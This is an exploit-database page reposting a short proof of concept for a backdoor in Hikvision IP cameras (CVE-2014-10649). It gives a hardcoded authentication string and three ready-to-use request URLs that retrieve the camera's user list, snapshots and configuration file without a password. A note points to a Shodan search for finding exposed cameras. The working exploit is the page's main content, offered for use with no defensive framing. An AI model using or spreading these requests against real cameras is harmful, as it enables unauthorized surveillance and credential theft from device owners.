Hikvision IP Camera Backdoor

CVE Category Price Severity
CVE-2014-10649 CWE-306 $5,000 Critical
Author Risk Exploitation Type Date
Multiple High Remote 2022-03-17
Our sensors found this exploit at:

Below is a copy:

Hikvision IP Camera Backdoor
# Exploit Title: Hikvision IP Camera - Backdoor
# Date: 14/03/2022
# Exploit Author: Sobhan Mahmoodi
# Reference:
# GitHub:

Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)

# Proof of Concept:

Retrieve a list of all users and their roles:
- http://camera.ip/Security/users?auth=YWRtaW46MTEK

Obtain a camera snapshot without authentication:
- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

Download camera configuration:
- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

Shodan link to monitor :

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.